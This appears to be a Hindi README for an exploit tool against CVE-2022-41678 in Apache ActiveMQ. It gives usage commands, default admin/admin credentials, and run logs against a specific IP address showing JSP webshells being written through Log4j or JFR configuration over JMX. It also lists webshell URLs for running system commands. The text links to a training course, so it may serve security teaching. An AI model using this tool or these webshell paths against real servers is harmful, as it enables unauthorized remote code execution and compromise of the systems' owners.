
CVE-2022-41678 Apache ActiveMQ में एक दूरस्थ कोड निष्पादन भेद्यता है। यह भेद्यता हमलावर को JMX (Java Management Extensions) इंटरफेस के माध्यम से Log4j कॉन्फ़िगरेशन या JFR (Java Flight Recorder) कॉन्फ़िगरेशन को संशोधित करने की अनुमति देती है, जिससे सर्वर के वेब निर्देशिका में एक दुर्भावनापूर्ण JSP वेबशेल लिखा जा सकता है, और अंततः दूरस्थ कोड निष्पादन को साकार किया जा सकता है।
संदर्भ दस्तावेज़: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 Apache ActiveMQ में एक रिमोट कोड निष्पादन भेद्यता है। यह भेद्यता हमलावर को JMX (Java Management Extensions) इंटरफ़ेस के माध्यम से Log4j कॉन्फ़िगरेशन या JFR (Java Flight Recorder) कॉन्फ़िगरेशन को संशोधित करने की अनुमति देती है, जिससे सर्वर के वेब निर्देशिका में एक दुर्भावनापूर्ण JSP webshell लिखा जा सकता है, और अंततः रिमोट कोड निष्पादन प्राप्त किया जा सकता है।
यह भेद्यता Apache ActiveMQ के कई संस्करणों को प्रभावित करती है, विशिष्ट प्रभावित संस्करण Log4j और JFR कॉन्फ़िगरेशन के उपयोग पर निर्भर करते हैं।
pip install requests
डिफ़ॉल्ट admin/admin क्रेडेंशियल और स्वचालित रूप से पता लगाए गए शोषण विधि का उपयोग करें:
python exp.py http://target:8161
इसके अलावा -u और -p पैरामीटर के माध्यम से उपयोगकर्ता नाम और पासवर्ड निर्दिष्ट किया जा सकता है:
# Log4j का उपयोग करें
python exp.py -u admin -p admin http://10.22.174.214:8161
# निष्पादन परिणाम निम्नलिखित है
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
डिफ़ॉल्ट रूप से उपयोग किए जाने वाले Log4j शोषण विधि के अलावा, --exploit jfr पैरामीटर का उपयोग करके JFR शोषण विधि निर्दिष्ट की जा सकती है।
# JFR विधि का उपयोग करें
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# निष्पादन परिणाम निम्नलिखित है
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
सफलतापूर्वक शोषण के बाद, निम्नलिखित URL तक पहुँच कर कमांड निष्पादित किए जा सकते हैं:
# Log4j विधि द्वारा लिखा गया webshell
http://target:8161/admin/shell.jsp?cmd=आदेश
# JFR विधि द्वारा लिखा गया webshell
http://target:8161/admin/shelljfr.jsp?cmd=आदेश
उदाहरण के लिए, id कमांड निष्पादित करें:
http://target:8161/admin/shell.jsp?cmd=id
| पैरामीटर | संक्षिप्त नाम | प्रकार | डिफ़ॉल्ट मान | विवरण |
|---|---|---|---|---|
--username | -u | 字符串 | admin | ActiveMQ कंसोल का उपयोगकर्ता नाम |
--password | -p | 字符串 | admin | ActiveMQ कंसोल का पासवर्ड |
--exploit | -e | 字符串 | auto | शोषण विधि, वैकल्पिक मान: auto, log4j, jfr |
url | - | 字符串 | - | लक्ष्य ActiveMQ का URL पता (आवश्यक पैरामीटर) |